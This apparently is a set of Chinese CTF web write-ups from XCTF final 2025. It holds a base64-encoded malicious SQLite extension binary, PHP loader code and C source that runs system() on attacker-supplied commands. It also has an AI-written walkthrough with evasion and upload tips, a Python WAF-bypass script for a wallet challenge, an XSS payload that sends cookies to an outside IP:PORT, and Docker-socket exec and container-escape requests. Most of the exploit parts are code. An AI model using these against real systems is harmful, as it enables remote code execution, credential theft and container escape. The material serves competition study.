AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBEAAAAAAAAAEQAAAAAAAAEAAAAAAAAAmAAAAAAAAAAMAAAAAAAAAAAQAAAAAAAADQAAAAAAAAA0EgAAAAAAABkAAAAAAAAA8D0AAAAAAAAbAAAAAAAAAAgAAAAAAAAAGgAAAAAAAAD4PQAAAAAAABwAAAAAAAAACAAAAAAAAAD1%2Fv9vAAAAAGACAAAAAAAABQAAAAAAAACoAwAAAAAAAAYAAAAAAAAAiAIAAAAAAAAKAAAAAAAAAK4AAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAA6D8AAAAAAAACAAAAAAAAAHgAAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAUAUAAAAAAAAHAAAAAAAAAJAEAAAAAAAACAAAAAAAAADAAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD%2B%2F%2F9vAAAAAHAEAAAAAAAA%2F%2F%2F%2FbwAAAAABAAAAAAAAAPD%2F%2F28AAAAAVgQAAAAAAAD5%2F%2F9vAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAANhAAAAAAAABGEAAAAAAAAFYQAAAAAAAAZhAAAAAAAAB2EAAAAAAAAChAAAAAAAAAR0NDOiAoRGViaWFuIDE1LjIuMC00KSAxNS4yLjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABADx%2FwAAAAAAAAAAAAAAAAAAAAAMAAAAAgAMAJAQAAAAAAAAAAAAAAAAAAAOAAAAAgAMAMAQAAAAAAAAAAAAAAAAAAAhAAAAAgAMAAARAAAAAAAAAAAAAAAAAAA3AAAAAQAXADBAAAAAAAAAAQAAAAAAAABDAAAAAQASAPg9AAAAAAAAAAAAAAAAAABqAAAAAgAMAEARAAAAAAAAAAAAAAAAAAB2AAAAAQARAPA9AAAAAAAAAAAAAAAAAACVAAAABADx%2FwAAAAAAAAAAAAAAAAAAAAABAAAABADx%2FwAAAAAAAAAAAAAAAAAAAACcAAAAAQAQALAgAAAAAAAAAAAAAAAAAAAAAAAABADx%2FwAAAAAAAAAAAAAAAAAAAACqAAAAAgANADQSAAAAAAAAAAAAAAAAAACwAAAAAQAWAChAAAAAAAAAAAAAAAAAAAC9AAAAAQATAAA%2BAAAAAAAAAAAAAAAAAADGAAAAAAAPABAgAAAAAAAAAAAAAAAAAADZAAAAAQAWADBAAAAAAAAAAAAAAAAAAADlAAAAAQAVAOg%2FAAAAAAAAAAAAAAAAAACBAQAAAgAJAAAQAAAAAAAAAAAAAAAAAAD7AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAXAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAAqAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAA9AQAAEgAAAAAAAAAAAAAAAAAAAAAAAABRAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABjAQAAIAAAAAAAAAAAAAAAAAAAAAAAAAByAQAAEgAMAEkRAAAAAAAA6QAAAAAAAACHAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACZAQAAIAAAAAAAAAAAAAAAAAAAAAAAAACzAQAAEQAXADhAAAAAAAAACAAAAAAAAAC%2FAQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AHJlYzMuYwBfX0ZSQU1FX0VORF9fAF9maW5pAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBmY2xvc2VAR0xJQkNfMi4yLjUAc3lzdGVtQEdMSUJDXzIuMi41AHN0cmNzcG5AR0xJQkNfMi4yLjUAZmdldHNAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0X18Ac3FsaXRlM19leHBsb2l0X2luaXQAZm9wZW5AR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBzcWxpdGUzX2FwaQBfX2N4YV9maW5hbGl6ZUBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAADgCAAAAAAAAOAIAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2%2F%2F9vAgAAAAAAAABgAgAAAAAAAGACAAAAAAAAKAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAACwAAAAIAAAAAAAAAiAIAAAAAAACIAgAAAAAAACABAAAAAAAABAAAAAEAAAAIAAAAAAAAABgAAAAAAAAAQAAAAAMAAAACAAAAAAAAAKgDAAAAAAAAqAMAAAAAAACuAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEgAAAD%2F%2F%2F9vAgAAAAAAAABWBAAAAAAAAFYEAAAAAAAAGAAAAAAAAAADAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABVAAAA%2Fv%2F%2FbwIAAAAAAAAAcAQAAAAAAABwBAAAAAAAACAAAAAAAAAABAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAAJAEAAAAAAAAkAQAAAAAAADAAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAABQBQAAAAAAAFAFAAAAAAAAeAAAAAAAAAADAAAAFQAAAAgAAAAAAAAAGAAAAAAAAAB4AAAAAQAAAAYAAAAAAAAAABAAAAAAAAAAEAAAAAAAABcAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAcwAAAAEAAAAGAAAAAAAAACAQAAAAAAAAIBAAAAAAAABgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAH4AAAABAAAABgAAAAAAAACAEAAAAAAAAIAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACHAAAAAQAAAAYAAAAAAAAAkBAAAAAAAACQEAAAAAAAAKIBAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAADQSAAAAAAAANBIAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAAECAAAAAAAAAQIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAACAAAAAAAAADggAAAAAAAAOCAAAAAAAAB8AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAADwPQAAAAAAAPAtAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC%2FAAAADwAAAAMAAAAAAAAA%2BD0AAAAAAAD4LQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAywAAAAYAAAADAAAAAAAAAAA%2BAAAAAAAAAC4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAIIAAAABAAAAAwAAAAAAAADAPwAAAAAAAMAvAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAA6D8AAAAAAADoLwAAAAAAAEAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAAChAAAAAAAAAKDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAAAwQAAAAAAAADAwAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAAAwMAAAAAAAAB4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAUDAAAAAAAADoAgAAAAAAABoAAAAUAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAADgzAAAAAAAA2gEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAASNQAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA%22%3B%0A%0Afile%5Fput%5Fcontents%28%22%2Ftmp%2Fexploit%2Eso%22%2Cbase64%5Fdecode%28%24base64%5Fso%29%29%3B
然后拿 flag 即可
<?php
file_put_contents("/tmp/1.txt","cat /flag_141f80cc2-4400-45f0-9399-4900efb730f5 > /tmp/4.txt");
$db = new Pdo\Sqlite('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->loadExtension('/tmp/exploit.so');
echo file_get_contents("/tmp/4.txt");
POST / HTTP/1.1
Host: 173.32.20.181
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 496
%73%6f%5f%65%7a%21%6b%31%64%64%69%26%67%3f=file%5Fput%5Fcontents%28%22%2Ftmp%2F1%2Etxt%22%2C%22cat%20%
"""
这里ai解释一下。
你提到的内容涉及利用 SQLite3 扩展机制在受限环境中执行任意代码,这是一个典型的 安全研究/渗透测试 场景,尤其适用于绕过 putenv 被禁用、无法直接加载 .so 的情况。我们来逐段拆解你提供的信息和代码,深入分析其背后的知识点、原理、限制与利用方式。
🔍 背景知识:SQLite 扩展加载机制
✅ SQLite3::loadExtension() 与 PDO::SQLite::loadExtension()
- SQLite3 扩展 允许用户加载外部共享库(
.so/.dll)来注册自定义函数、聚合器、虚拟表等。 - PHP 提供了两种方式加载扩展:
SQLite3::loadExtension(string $shared_library)—— 面向过程风格PDO::SQLite::loadExtension(string $shared_library)—— PDO 风格
⚠️ 注意:这些方法默认在 PHP 编译时启用 SQLite 扩展支持,但 运行时是否可用受限于两个因素:
- PHP 配置项:
sqlite3.extension_dir(仅对SQLite3类有效)- SQLite 编译选项:
SQLITE_ENABLE_LOAD_EXTENSION(必须开启)
🔒 安全限制与绕过思路
❌ 常见限制
putenv()被禁用 → 无法设置环境变量(如LD_LIBRARY_PATH,PATH,SQLITE_EXTENSION_DIR)sqlite3.extension_dir被设置为一个不可写路径 → 无法将.so放入指定目录open_basedir限制 → 无法访问/tmp或其他路径disable_functions包含system,exec,shell_exec等 → 无法直接执行命令
✅ 利用点发现:PDO::SQLite::loadExtension 似乎没有目录限制?
这是关键突破口!
🔍 实验现象:
SQLite3::loadExtension('evil.so')→ 报错:not in extension_dirPDO::SQLite::loadExtension('evil.so')→ 成功加载(即使不在extension_dir)
✅ 原因分析:
sqlite3.extension_dir是 SQLite3 模块的 PHP 层限制,不是 SQLite 引擎本身的限制。PDO::SQLite的loadExtension方法 直接调用底层 SQLite C APIsqlite3_load_extension(),绕过了 PHP 层的extension_dir校验!
✅ 结论:
PDO::SQLite::loadExtension不受sqlite3.extension_dir限制!
这是 PHP 实现上的差异,属于 逻辑绕过漏洞(非官方漏洞,但确实是安全绕过点)
🧨 利用链构建
目标:在 putenv 被 ban、无法写 extension_dir、无法执行命令的情况下,加载恶意 .so 实现代码执行
步骤:
| 步骤 | 操作 | 说明 |
|---|---|---|
| 1 | 编写恶意 SQLite 扩展 .so |
在扩展初始化时执行系统命令(如 system()) |
| 2 | 将 .so 上传到可写路径(如 /tmp/evil.so) |
绕过 extension_dir 限制 |
| 3 | 使用 PDO('sqlite::memory:') 创建内存数据库 |
无需文件,避免权限问题 |
| 4 | 调用 $pdo->sqliteCreateFunction() 或直接 loadExtension('绝对路径') |
加载扩展 |
| 5 | 扩展自动执行 sqlite3_extension_init() 中的恶意代码 |
实现命令执行 |
📜 代码详解:你提供的恶意扩展
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
SQLITE_EXTENSION_INIT1
🔹 SQLITE_EXTENSION_INIT1
- 宏定义,用于初始化扩展所需的函数指针表
- 必须放在所有函数定义之前
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);
🔹 sqlite3_exploit_init:扩展入口函数
- 命名规则必须是:
sqlite3_<扩展名>_init - 当你加载
evil.so时,SQLite 会寻找sqlite3_evil_init - 所以你的共享库文件名必须是
exploit.so,否则找不到入口!
✅ 重要:若文件名为
evil.so,则函数名应为sqlite3_evil_init
const char *command_file_path = "/tmp/1.txt";
char command_buffer[512] = {0};
FILE *file_handle;
file_handle = fopen(command_file_path, "r");
if (file_handle == NULL) {
return SQLITE_OK; // 静默失败,避免报错
}
if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
command_buffer[strcspn(command_buffer, "\r\n")] = 0; // 去除换行
if (strlen(command_buffer) > 0) {
system(command_buffer); // ⚠️ 执行命令!
}
}
fclose(file_handle);
return SQLITE_OK;
}
🔍 设计亮点:
- 不直接硬编码命令,而是从
/tmp/1.txt读取 → 更隐蔽,可动态控制 - 静默失败(返回
SQLITE_OK)→ 避免暴露错误信息 - 使用
system()→ 实现任意命令执行
🧪 PHP 利用代码示例
<?php
// 确保目标已上传 exploit.so 到 /tmp/exploit.so
// 并写入命令:echo "id > /tmp/out.txt" > /tmp/1.txt
try {
$pdo = new PDO('sqlite::memory:');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 关键:使用 PDO 加载扩展,绕过 extension_dir 限制
$pdo->sqliteCreateFunction('load_extension', null); // 某些版本需要前置调用(可省略)
$pdo->query("SELECT load_extension('/tmp/exploit.so')"); // 触发加载
echo "扩展加载完成,命令应已执行\n";
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
?>
⚠️ 注意事项与限制
| 限制 | 说明 | 绕过建议 |
|---|---|---|
SQLITE_ENABLE_LOAD_EXTENSION 未开启 |
SQLite 编译时必须启用此选项 | 无法绕过,需目标 PHP 支持 |
PDO::SQLite 禁用 loadExtension |
PHP 7.4+ 起,默认禁用 loadExtension 方法 |
需 php.ini 设置 pdo_sqlite.extension_dir 或启用扩展(多数共享主机禁用) |
| SELinux / AppArmor | 阻止 .so 加载或 system() 执行 |
提权前需绕过 MAC 机制 |
| 路径不可写 | 无法上传 .so |
利用已有可写目录(如 /tmp, /var/tmp, upload_tmp_dir) |
open_basedir 限制 |
无法访问 /tmp |
尝试上传到允许路径(如 session 目录) |
✅ 总结:知识点提炼
| 知识点 | 描述 |
|---|---|
🎯 PDO::SQLite::loadExtension 绕过 extension_dir |
PHP 层校验缺失,直接调 SQLite C API |
| 🔐 扩展入口函数命名规则 | 必须为 sqlite3_<name>_init,与文件名匹配 |
| 🧨 利用扩展初始化执行代码 | 在 sqlite3_extension_init() 中调用 system() 实现 RCE |
| 🧼 隐蔽设计 | 从文件读命令、静默失败、无回显 → 绕过 WAF/日志检测 |
| ⚠️ 依赖条件 | 需 SQLITE_ENABLE_LOAD_EXTENSION 开启 + PDO 未禁用扩展加载 |
✅ 实战建议
-
先探测是否支持扩展加载:
try { $pdo = new PDO('sqlite::memory:'); $pdo->query("SELECT load_extension('nonexist')"); } catch (Exception $e) { if (strpos($e->getMessage(), 'not authorized') !== false) { echo "扩展加载被禁用"; } elseif (strpos($e->getMessage(), 'no such file') !== false) { echo "扩展加载可用!"; } } -
上传
.so技巧:- 利用文件上传功能 → 改后缀为
.jpg→ 通过 LFI 或路径拼接移动到/tmp/exploit.so - 利用
move_uploaded_file()到可控路径
- 利用文件上传功能 → 改后缀为
-
命令回显方案:
- 将结果写入文件 → 用
file_get_contents()读取 - 或使用 SQLite 自定义函数返回结果(更高级)
- 将结果写入文件 → 用
- SQLite 官方扩展开发文档:https://www.sqlite.org/loadext.html
wallet :
当时我们的exp
#!/usr/bin/env python3
"""
Wallet 题目 exploit(钱包转账绕过)
核心思路:
1. 网关 WAF 只拦截路径 /transfer,把请求发到 /transfer/. 就能绕过前置校验。
2. 后端代码仍然执行转账逻辑,我们不断给 admin→admin 转账,寻找能触发“精度/溢出/彩蛋”的金额,让余额暴涨。
3. 余额 ≥ 100000.01 时请求 /flag?username=admin 拿 flag。
"""
import argparse
import json
import sys
import time
from math import isfinite
import requests
# ---------- 工具函数:真正发转账包 ----------
def try_amount(session, base, amount):
# 绕过路径:加个点
url = base.rstrip('/') + '/transfer/.'
payload = {"from": "admin", "to": "admin", "amount": amount}
# 先尝试正常 JSON
headers = {"Content-Type": "application/json"}
try:
r = session.post(url, headers=headers, data=json.dumps(payload), timeout=5)
except Exception as e:
print(f"[!] 请求失败(utf-8): {e}")
r = None
# 如果 403 被拦,再换 UTF-16 + BOM 尝试绕过 WAF
if r is not None and r.status_code != 403:
return r
try:
raw = json.dumps(payload).encode('utf-16le')
raw = b"\xff\xfe" + raw # 加 BOM
headers2 = {"Content-Type": "application/json; charset=utf-16"}
r2 = session.post(url, headers=headers2, data=raw, timeout=5)
return r2
except Exception as e:
print(f"[!] 请求失败(utf-16): {e}")
return r
# ---------- 查余额 ----------
def get_balance(session, base, username='admin'):
url = base.rstrip('/') + '/balance'
try:
r = session.post(url, json={"username": username}, timeout=5)
if r.status_code == 200:
return r.json().get('balance')
return None
except Exception:
return None
# ---------- 领 flag ----------
def get_flag(session, base, username='admin'):
url = base.rstrip('/') + f'/flag?username={username}'
try:
r = session.get(url, timeout=5)
if r.status_code == 200:
return r.json().get('flag')
else:
print(f"[i] 领 flag 返回 {r.status_code}: {r.text}")
return None
except Exception as e:
print(f"[!] 领 flag 出错: {e}")
return None
# ---------- 主流程 ----------
def main():
p = argparse.ArgumentParser()
p.add_argument('--target', '-t', required=True, help='目标基址,如 http://ip:3000')
p.add_argument('--sleep', '-s', type=float, default=0.2, help='每次请求间隔(秒)')
args = p.parse_args()
base = args.target
session = requests.Session()
# 候选金额列表(小数/整数/幂次/边界值)
candidates = []
for v in [0.1, 0.2, 0.3, 0.5, 0.25, 0.125, 0.0000001, 0.0000003, 0.000001, 0.00001]:
candidates.append(v)
for v in [1, 2, 3, 5, 7, 10, 12.34, 99.99, 100, 123.456789]:
candidates.append(v)
for v in [500, 1000, 5000, 10000, 20000, 30000, 40000, 49999.99, 50000, 60000, 90000, 99999.9999]:
candidates.append(v)
for exp in range(-20, 21, 2):
candidates.append(2.0 ** exp)
tried = set()
print(f"[*] 共 {len(candidates)} 个候选金额,开始测试...")
bal = get_balance(session, base, 'admin')
print(f"[i] 初始 admin 余额: {bal}")
# 先跑一遍候选列表
for amount in candidates:
if not isfinite(amount) or amount in tried:
continue
tried.add(amount)
print(f"[>] 尝试金额 = {amount}")
r = try_amount(session, base, amount)
if r is None:
time.sleep(args.sleep)
continue
try:
info = r.json()
except Exception:
info = r.text
print(f" -> HTTP {r.status_code} 响应: {info}")
bal = get_balance(session, base, 'admin')
print(f" -> 当前余额: {bal}")
# 达标就领 flag
if bal is not None and bal >= 100000.01:
print("[+] 余额已达标,正在领取 flag...")
flag = get_flag(session, base, 'admin')
if flag:
print(f"[FLAG] {flag}")
else:
print("[!] 余额够了但领 flag 失败")
return
# 记录最佳 bonus 金额
try:
bonus = float(r.json().get('bonus', 0) or 0)
except Exception:
bonus = 0.0
if 'best_bonus' not in locals():
best_bonus, best_amount = bonus, amount
else:
if bonus > best_bonus:
best_bonus, best_amount = bonus, amount
time.sleep(args.sleep)
# 如果某个金额 bonus 特别高,就反复刷它
if 'best_bonus' in locals() and best_bonus > 0:
print(f"[i] 最佳金额 {best_amount} 平均 bonus {best_bonus},开始连刷...")
max_iters = 20000
for it in range(1, max_iters + 1):
r = try_amount(session, base, best_amount)
if r is None:
time.sleep(args.sleep)
continue
try:
bonus = float(r.json().get('bonus', 0) or 0)
except Exception:
bonus = 0.0
bal = get_balance(session, base, 'admin')
print(f"[+] 第 {it} 次: bonus={bonus}, 余额={bal}")
if bal is not None and bal >= 100000.01:
print("[+] 余额达标,领取 flag...")
flag = get_flag(session, base, 'admin')
if flag:
print(f"[FLAG] {flag}")
else:
print("[!] 领 flag 失败")
return
time.sleep(args.sleep)
print("[-] 所有候选金额已跑完,未能达标。可扩大候选集或换绕过方式再试。")
if __name__ == '__main__':
main()
go-storage
XCTF final 2025 N1Star web wp - ENOCH-lyn Blog
只找到这个,下面是他们内容:
"""
这题复现会有玄学问题,例如XSS拿到admin之后登不上去等
Go 端用 os.CreateTemp(uploadDir, fileInfo.Filename),如果文件名里包含 *,随机串会替换第一个 *,保留后缀。 因此使用*.html 即可上传html让bot访问,通过XSS获取admin的cookie
提交URL为http://nginx-proxy/uploads/xxx.html
<html>
<script>fetch("http://IP:PORT?c="+document.cookie)</script>
</html>
然后访问/admin端点,是一个使用superagent的任意url访问
但是superagent的node客服端支持向Unix域套接发送请求,同时docker挂载了docker.sock
使用http+unix://%2Fvar%2Frun%2Fdocker.sock/_ping 探活
然后POSThttp+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/containers/storage-service/exec
{
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["/bin/sh","-lc","cp /flag.txt /app/src/uploads/flag.txt"]
}
会获取到一个ID
然后POSThttp+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/exec/<ID>/start 内容为
{ "Detach": false, "Tty": false }
接着直接访问/uploads/flag.txt即可
后续测试了一下,发现挂载docker.sock应该可以玩容器逃逸
POST http+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/containers/create
{
"Image": "chall-go-storage-bot",
